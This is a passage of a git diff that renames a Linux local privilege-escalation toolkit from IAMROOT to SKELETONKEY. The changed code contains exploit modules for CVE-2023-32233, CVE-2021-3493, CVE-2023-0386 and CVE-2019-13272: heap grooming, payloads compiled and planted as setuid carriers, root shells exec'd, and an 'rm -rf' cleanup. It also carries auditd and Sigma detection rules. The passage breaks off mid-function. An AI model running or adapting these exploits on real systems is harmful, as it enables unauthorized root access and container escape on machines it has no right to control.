nft_set_uaf_arb_write, &ac, !ctx->no_shell); /* drain whatever queues we created during arb-writes */ @@ -852,7 +852,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) /* --- primitive-only path: fork-isolated trigger -------------- */ pid_t child = fork(); - if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* --- CHILD --- */ @@ -884,7 +884,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) } if (!ctx->json) { fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues " - "(tag=%s)\n", sprayed, IAMROOT_TAG); + "(tag=%s)\n", sprayed, SKELETONKEY_TAG); } /* Snapshot before. */ @@ -934,7 +934,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) "likely fired (KASAN/oops can manifest as child " "signal)\n", WTERMSIG(status)); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rc = WEXITSTATUS(status); @@ -944,11 +944,11 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) " UAF induced + msg_msg spray landed in\n" " kmalloc-cg-512. R/W chain NOT executed\n" " (Option B scope).\n" - "[i] nft_set_uaf: see /tmp/iamroot-nft_set_uaf.log\n" + "[i] nft_set_uaf: see /tmp/skeletonkey-nft_set_uaf.log\n" " for slab-delta breadcrumb. Pass --full-chain\n" " to attempt modprobe_path root-pop.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (rc >= 20 && rc <= 25) { @@ -956,13 +956,13 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; #endif /* __linux__ */ } @@ -970,16 +970,16 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) * Cleanup — best-effort drain * ------------------------------------------------------------------ */ -static iamroot_result_t nft_set_uaf_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t nft_set_uaf_cleanup(const struct skeletonkey_ctx *ctx) { (void)ctx; /* Best-effort breadcrumb removal. We can't drain msg queues from a * different process (they live in a private IPC namespace anyway, * which exited with the child). */ - if (unlink("/tmp/iamroot-nft_set_uaf.log") != 0 && errno != ENOENT) { + if (unlink("/tmp/skeletonkey-nft_set_uaf.log") != 0 && errno != ENOENT) { /* not fatal */ } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ------------------------------------------------------------------ @@ -992,18 +992,18 @@ static const char nft_set_uaf_auditd[] = "# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n" "# nft scripts rarely DELSET an anonymous set they just created;\n" "# tune per env for firewalld/podman noise.\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-nft_set_uaf-userns\n" - "-a always,exit -F arch=b32 -S unshare -k iamroot-nft_set_uaf-userns\n" + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft_set_uaf-userns\n" + "-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft_set_uaf-userns\n" "# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n" - "-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k iamroot-nft_set_uaf-nft\n" + "-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k skeletonkey-nft_set_uaf-nft\n" "# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n" - "-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft_set_uaf-msgsnd\n" + "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft_set_uaf-msgsnd\n" "# Canonical post-exploit primitives:\n" - "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nft_set_uaf-priv\n"; + "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft_set_uaf-priv\n"; static const char nft_set_uaf_sigma[] = "title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n" - "id: 23233e7c-iamroot-nft-set-uaf\n" + "id: 23233e7c-skeletonkey-nft-set-uaf\n" "status: experimental\n" "description: |\n" " Detects the canonical exploit shape for the nf_tables anonymous-set\n" @@ -1034,7 +1034,7 @@ static const char nft_set_uaf_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n"; -const struct iamroot_module nft_set_uaf_module = { +const struct skeletonkey_module nft_set_uaf_module = { .name = "nft_set_uaf", .cve = "CVE-2023-32233", .summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom", @@ -1050,7 +1050,7 @@ const struct iamroot_module nft_set_uaf_module = { .detect_falco = NULL, }; -void iamroot_register_nft_set_uaf(void) +void skeletonkey_register_nft_set_uaf(void) { - iamroot_register(&nft_set_uaf_module); + skeletonkey_register(&nft_set_uaf_module); } diff --git a/modules/nft_set_uaf_cve_2023_32233/skeletonkey_modules.h b/modules/nft_set_uaf_cve_2023_32233/skeletonkey_modules.h new file mode 100644 index 0000000..50f1281 --- /dev/null +++ b/modules/nft_set_uaf_cve_2023_32233/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * nft_set_uaf_cve_2023_32233 — SKELETONKEY module registry hook + */ + +#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H +#define NFT_SET_UAF_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module nft_set_uaf_module; + +#endif diff --git a/modules/overlayfs_cve_2021_3493/NOTICE.md b/modules/overlayfs_cve_2021_3493/NOTICE.md index 8626cb8..1863a09 100644 --- a/modules/overlayfs_cve_2021_3493/NOTICE.md +++ b/modules/overlayfs_cve_2021_3493/NOTICE.md @@ -14,7 +14,7 @@ Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021). Public PoC: vsh-style userns + overlayfs + xattr injection chain. -## IAMROOT role +## SKELETONKEY role Detect parses `/etc/os-release` for `ID=ubuntu`, checks `unprivileged_userns_clone` sysctl, and with `--active` performs the diff --git a/modules/overlayfs_cve_2021_3493/iamroot_modules.h b/modules/overlayfs_cve_2021_3493/iamroot_modules.h deleted file mode 100644 index eaba0a7..0000000 --- a/modules/overlayfs_cve_2021_3493/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * overlayfs_cve_2021_3493 — IAMROOT module registry hook - */ - -#ifndef OVERLAYFS_IAMROOT_MODULES_H -#define OVERLAYFS_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module overlayfs_module; - -#endif diff --git a/modules/overlayfs_cve_2021_3493/iamroot_modules.c b/modules/overlayfs_cve_2021_3493/skeletonkey_modules.c similarity index 92% rename from modules/overlayfs_cve_2021_3493/iamroot_modules.c rename to modules/overlayfs_cve_2021_3493/skeletonkey_modules.c index cb480b4..36d989f 100644 --- a/modules/overlayfs_cve_2021_3493/iamroot_modules.c +++ b/modules/overlayfs_cve_2021_3493/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * overlayfs_cve_2021_3493 — IAMROOT module + * overlayfs_cve_2021_3493 — SKELETONKEY module * * Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs * inside a user namespace, then set file capabilities on a file in @@ -30,12 +30,12 @@ * 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific) * 2. Kernel version is below the Ubuntu fix threshold for that * release. We don't track per-release Ubuntu kernel version - * maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel + * maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel * AND uname() version < 5.11 AND unprivileged_userns_clone=1 * AND overlayfs mountable from userns (active probe). */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" @@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void) if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2); /* Build a minimal overlayfs in /tmp inside the child. */ - char base[] = "/tmp/iamroot-ovl-XXXXXX"; + char base[] = "/tmp/skeletonkey-ovl-XXXXXX"; if (!mkdtemp(base)) _exit(3); char low[512], up[512], wd[512], mp[512]; @@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void) return WEXITSTATUS(status) == 0 ? 1 : 0; } -static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] overlayfs: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune @@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* unprivileged_userns_clone gate */ @@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → " "unprivileged exploit unreachable\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { @@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — " "userns overlayfs mount succeeded → VULNERABLE\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } if (probe == 0) { if (!ctx->json) { fprintf(stderr, "[+] overlayfs: active probe denied mount — " "likely patched / AppArmor block\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->json) { fprintf(stderr, "[?] overlayfs: active probe machinery failed\n"); @@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — " "re-run with --active to confirm\n", v.release); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } if (!ctx->json) { fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical " "affected range\n", v.release); fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ---- Exploit (vsh-style) ---------------------------------------- @@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz) return false; } -static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx) { /* Re-confirm vulnerable. */ - iamroot_result_t pre = overlayfs_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = overlayfs_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } - char workdir[] = "/tmp/iamroot-ovl-XXXXXX"; - if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; } + char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX"; + if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; } if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir); char gcc[256]; if (!which_gcc(gcc, sizeof gcc)) { fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n"); rmdir(workdir); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } char src_path[1100], bin_path[1100]; @@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx) snprintf(bin_path, sizeof bin_path, "%s/payload", workdir); int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); - if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; } + if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; } if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1) != (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) { - close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR; + close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR; } close(fd); @@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx) if (ctx->no_shell) { fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n", upper_bin); - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } fflush(NULL); execl(upper_bin, upper_bin, (char *)NULL); @@ -443,7 +443,7 @@ fail_workdir: unlink(src_path); unlink(bin_path); unlink(upper_bin); rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower); rmdir(workdir); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } /* ----- Embedded detection rules ----- */ @@ -451,12 +451,12 @@ fail_workdir: static const char overlayfs_auditd[] = "# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n" "# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n" - "-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n" - "-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n" + "-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n" + "-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n" "# Watch for security.capability xattr writes (the post-mount step)\n" - "-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n"; + "-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n"; -const struct iamroot_module overlayfs_module = { +const struct skeletonkey_module overlayfs_module = { .name = "overlayfs", .cve = "CVE-2021-3493", .summary = "Ubuntu userns-overlayfs file-capability injection → host root", @@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = { .detect_falco = NULL, }; -void iamroot_register_overlayfs(void) +void skeletonkey_register_overlayfs(void) { - iamroot_register(&overlayfs_module); + skeletonkey_register(&overlayfs_module); } diff --git a/modules/overlayfs_cve_2021_3493/skeletonkey_modules.h b/modules/overlayfs_cve_2021_3493/skeletonkey_modules.h new file mode 100644 index 0000000..6a633fe --- /dev/null +++ b/modules/overlayfs_cve_2021_3493/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * overlayfs_cve_2021_3493 — SKELETONKEY module registry hook + */ + +#ifndef OVERLAYFS_SKELETONKEY_MODULES_H +#define OVERLAYFS_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module overlayfs_module; + +#endif diff --git a/modules/overlayfs_setuid_cve_2023_0386/NOTICE.md b/modules/overlayfs_setuid_cve_2023_0386/NOTICE.md index a3ee7f8..5f06b54 100644 --- a/modules/overlayfs_setuid_cve_2023_0386/NOTICE.md +++ b/modules/overlayfs_setuid_cve_2023_0386/NOTICE.md @@ -16,7 +16,7 @@ Public PoC + writeup: Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023). Branch backports: 5.10.169 / 5.15.92 / 6.1.11. -## IAMROOT role +## SKELETONKEY role Distro-agnostic — no per-kernel offsets, no race. Places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, diff --git a/modules/overlayfs_setuid_cve_2023_0386/iamroot_modules.h b/modules/overlayfs_setuid_cve_2023_0386/iamroot_modules.h deleted file mode 100644 index c4d1112..0000000 --- a/modules/overlayfs_setuid_cve_2023_0386/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * overlayfs_setuid_cve_2023_0386 — IAMROOT module registry hook - */ - -#ifndef OVERLAYFS_SETUID_IAMROOT_MODULES_H -#define OVERLAYFS_SETUID_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module overlayfs_setuid_module; - -#endif diff --git a/modules/overlayfs_setuid_cve_2023_0386/iamroot_modules.c b/modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.c similarity index 88% rename from modules/overlayfs_setuid_cve_2023_0386/iamroot_modules.c rename to modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.c index 8c2e217..5458607 100644 --- a/modules/overlayfs_setuid_cve_2023_0386/iamroot_modules.c +++ b/modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * overlayfs_setuid_cve_2023_0386 — IAMROOT module + * overlayfs_setuid_cve_2023_0386 — SKELETONKEY module * * **Different bug than CVE-2021-3493.** That one was Ubuntu-specific * (their modified overlayfs). This one is upstream: when overlayfs @@ -38,7 +38,7 @@ * for any distro running 5.11-6.2 kernels. Container-escape relevant. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" @@ -96,12 +96,12 @@ static const char *find_setuid_in_lower(void) return NULL; } -static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug introduced in 5.11 when ovl copy-up was generalized. @@ -111,7 +111,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug " "(introduced in 5.11)\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v); @@ -119,7 +119,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns_mount(); @@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } const char *target = find_setuid_in_lower(); @@ -142,13 +142,13 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Embedded payload + exploit ---------------------------------- */ @@ -190,16 +190,16 @@ static bool write_file_str(const char *path, const char *content) return ok; } -static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx) { - iamroot_result_t pre = overlayfs_setuid_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = overlayfs_setuid_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] overlayfs_setuid: already root\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Pick a setuid binary to use as the carrier — we'll find its @@ -209,20 +209,20 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx) const char *carrier = find_setuid_in_lower(); if (!carrier) { fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } /* For cleanliness, use a directory-level overlay. Find the carrier's * dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */ char carrier_dir[256], carrier_name[64]; const char *slash = strrchr(carrier, '/'); - if (!slash) return IAMROOT_PRECOND_FAIL; + if (!slash) return SKELETONKEY_PRECOND_FAIL; size_t dir_len = slash - carrier; memcpy(carrier_dir, carrier, dir_len); carrier_dir[dir_len] = 0; snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1); - char workdir[] = "/tmp/iamroot-ovlsu-XXXXXX"; - if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; } + char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX"; + if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; } if (!ctx->json) { fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n", workdir, carrier); @@ -232,7 +232,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx) if (!which_gcc(gcc, sizeof gcc)) { fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n"); rmdir(workdir); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } /* Build the payload binary outside the overlay. */ @@ -348,7 +348,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx) if (ctx->no_shell) { fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n", upper_carrier); - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } fflush(NULL); execl(upper_carrier, upper_carrier, (char *)NULL); @@ -358,26 +358,26 @@ fail: unlink(src_path); unlink(bin_path); rmdir(upper); rmdir(work); rmdir(merged); rmdir(workdir); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } -static iamroot_result_t overlayfs_setuid_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx) { (void)ctx; if (!ctx->json) { - fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/iamroot-ovlsu-*\n"); + fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n"); } - if (system("rm -rf /tmp/iamroot-ovlsu-* 2>/dev/null") != 0) { /* harmless */ } - return IAMROOT_OK; + if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ } + return SKELETONKEY_OK; } static const char overlayfs_setuid_auditd[] = "# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n" - "# Same surface as CVE-2021-3493; share the iamroot-overlayfs key.\n" - "-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n" - "-a always,exit -F arch=b64 -S chown,fchown,fchownat -k iamroot-overlayfs-chown\n"; + "# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n" + "-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n" + "-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n"; -const struct iamroot_module overlayfs_setuid_module = { +const struct skeletonkey_module overlayfs_setuid_module = { .name = "overlayfs_setuid", .cve = "CVE-2023-0386", .summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier", @@ -393,7 +393,7 @@ const struct iamroot_module overlayfs_setuid_module = { .detect_falco = NULL, }; -void iamroot_register_overlayfs_setuid(void) +void skeletonkey_register_overlayfs_setuid(void) { - iamroot_register(&overlayfs_setuid_module); + skeletonkey_register(&overlayfs_setuid_module); } diff --git a/modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.h b/modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.h new file mode 100644 index 0000000..05b6331 --- /dev/null +++ b/modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * overlayfs_setuid_cve_2023_0386 — SKELETONKEY module registry hook + */ + +#ifndef OVERLAYFS_SETUID_SKELETONKEY_MODULES_H +#define OVERLAYFS_SETUID_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module overlayfs_setuid_module; + +#endif diff --git a/modules/ptrace_traceme_cve_2019_13272/NOTICE.md b/modules/ptrace_traceme_cve_2019_13272/NOTICE.md index d11f327..f805f82 100644 --- a/modules/ptrace_traceme_cve_2019_13272/NOTICE.md +++ b/modules/ptrace_traceme_cve_2019_13272/NOTICE.md @@ -15,7 +15,7 @@ Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019). Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. -## IAMROOT role +## SKELETONKEY role Full jannh-style chain: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd diff --git a/modules/ptrace_traceme_cve_2019_13272/iamroot_modules.h b/modules/ptrace_traceme_cve_2019_13272/iamroot_modules.h deleted file mode 100644 index 1849039..0000000 --- a/modules/ptrace_traceme_cve_2019_13272/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * ptrace_traceme_cve_2019_13272 — IAMROOT module registry hook - */ - -#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H -#define PTRACE_TRACEME_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module ptrace_traceme_module; - -#endif diff --git a/modules/ptrace_traceme_cve_2019_13272/iamroot_modules.c b/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c similarity index 90% rename from modules/ptrace_traceme_cve_2019_13272/iamroot_modules.c rename to modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c index 34aaaa3..e299f90 100644 --- a/modules/ptrace_traceme_cve_2019_13272/iamroot_modules.c +++ b/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * ptrace_traceme_cve_2019_13272 — IAMROOT module + * ptrace_traceme_cve_2019_13272 — SKELETONKEY module * * PTRACE_TRACEME on a parent that subsequently execve's a setuid * binary results in the kernel granting ptrace privileges over the @@ -26,7 +26,7 @@ * vulnerable. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" @@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = { sizeof(ptrace_traceme_patched_branches[0]), }; -static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug existed since ptrace's inception (early 2.x); anything @@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n", v.release); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v); @@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->json) { fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release); fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config " "(no user_ns required)\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Exploit (jannh-style) -------------------------------------- @@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx) * shellcode that exec's /bin/sh. * 10. C resumes P → root shell. * - * IAMROOT implementation simplifies by using a small architecture- + * SKELETONKEY implementation simplifies by using a small architecture- * specific shellcode (x86_64 only) and pkexec as the setuid binary * trigger (works on most Linux systems with polkit installed). Falls * back to /bin/su if pkexec isn't available. * * Reliability: this exploit can fail-race on heavily-loaded systems. * Repeat invocations usually succeed; we don't loop here — operator - * can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK + * can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK * on root acquired (followed by execlp(sh) which never returns). */ @@ -170,28 +170,28 @@ static const char *find_setuid_target(void) return NULL; } -static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx) { #if !defined(__x86_64__) (void)ctx; fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only " "(shellcode is arch-specific)\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #else - iamroot_result_t pre = ptrace_traceme_detect(ctx); - if (pre != 